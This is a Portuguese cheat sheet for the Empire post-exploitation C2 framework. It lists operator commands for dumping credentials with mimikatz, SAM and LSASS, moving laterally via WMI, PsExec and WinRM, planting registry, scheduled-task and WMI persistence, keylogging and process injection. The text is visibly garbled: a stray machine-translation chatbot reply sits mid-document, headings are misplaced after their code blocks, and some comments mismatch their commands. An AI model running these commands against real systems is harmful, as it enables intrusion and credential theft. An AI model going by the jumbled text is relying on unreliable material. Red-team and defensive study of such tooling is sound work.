Pular para o conteúdo

Folha de Dicas do Empire Framework

Visão Geral

Empire é um framework de pós-exploração que inclui um agente Windows em PowerShell 2.0 puro e um agente Linux/macOS em Python 3 puro. Ele fornece uma infraestrutura de comando e controle (C2) poderosa para operações de red team, testes de penetração e emulação de adversários.

⚠️ Aviso: Empire é uma ferramenta de teste de segurança que deve ser usada apenas em ambientes onde você tem permissão explícita para fazê-lo.

Instalação

Do GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Usando Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

No Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Uso Básico

Iniciando o Empire

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Usando Starkiller (Interface Gráfica)

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller
ComandoDescrição
helpExibir menu de ajuda
menuVoltar ao menu principal
backVoltar para o nível de menu anterior
exitSair do Empire
usemodule <module>Selecione um módulo para usar
usestager <stager>Selecione um stager para usar
uselistener <listener>Selecione um listener para usar
interact <agent>Interagir com um agente
searchmodule <term>Procurar por módulos

Listeners

Criando um Listener

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Opções Comuns de Listener

OpçãoDescrição
NameNome para o ouvinte
HostIP/hostname para staging
PortPorta para o ouvinte
CertPathCaminho do certificado para HTTPS
DefaultDelayAtraso de retorno do agente (em segundos)
DefaultJitterJitter em retornos de chamada de agente (0.0-1.0)
DefaultProfilePerfil de comunicação padrão
KillDateData para o ouvinte sair (MM/DD/YYYY)
WorkingHoursHorário para retorno do agente (09:00-17:00)

Gerenciamento de Listeners

# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stagers

Gerando um Stager

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Tipos Comuns de Stager

StagerDescrição
windows/launcher_batIniciador de arquivo BAT
windows/launcher_vbsLançador de script VBS
windows/launcher_powershellLauncher do PowerShell
multi/launcherLauncher multiplataforma
osx/launcherLauncher do macOS
linux/launcherLançador Linux
windows/dllLançador de DLL
windows/macroIniciador de macro de escritório
windows/htaLauncher HTA

Agentes

Comandos de Agente

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Gerenciamento de Agentes

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Módulos

Usando Módulos

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Categorias Comuns de Módulos

Acesso a Credenciais

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Consciência Situacional

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Movimento Lateral

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistência

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Recursos Avançados

Perfis C2 Maleáveis

I’ve translated the text while preserving the markdown formatting, keeping technical terms in English, and maintaining the overall structure. Would you like me to continue with the remaining sections?```

In Empire CLI

profiles use default set DefaultProfile /path/to/profile.profile

Set agent kill date

set KillDate 01/01/2025

Set working hours

set WorkingHours 09:00-17:00

Increase agent sleep time

sleep 300 30

Use keylogging module

usemodule powershell/collection/keylogger

Use clipboard monitoring

usemodule powershell/collection/clipboard_monitor

Use screenshot module

usemodule powershell/collection/screenshot


### Problemas Comuns
```bash
   # Check if the listener is running
   listeners

   # Verify firewall settings
   sudo iptables -L

   # Check for port conflicts
   netstat -tuln|grep <port>
   ```**Problemas de Conexão**
```bash
   # Verify agent is running
   agents

   # Check for network connectivity issues
   # Verify sleep/jitter settings
   # Check module requirements
   info

   # Verify agent privileges
   shell whoami

   # Try running in a different process context
   usemodule powershell/management/psinject
   ```**Agente Não Fazendo Check-In**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

https://github.com/BC-SECURITY/Empire Falhas na Execução de Módulos https://bc-security.gitbook.io/empire-wiki/#

Medidas Defensivas

Métodos de Detecção

  • Registro de Bloco de Script do PowerShell
  • Registro de Módulo do PowerShell
  • AMSI (Interface de Varredura de Antimalware)
  • Análise de tráfego de rede
  • Análise comportamental

Técnicas de Prevenção

https://github.com/BC-SECURITY/Starkiller

Recursos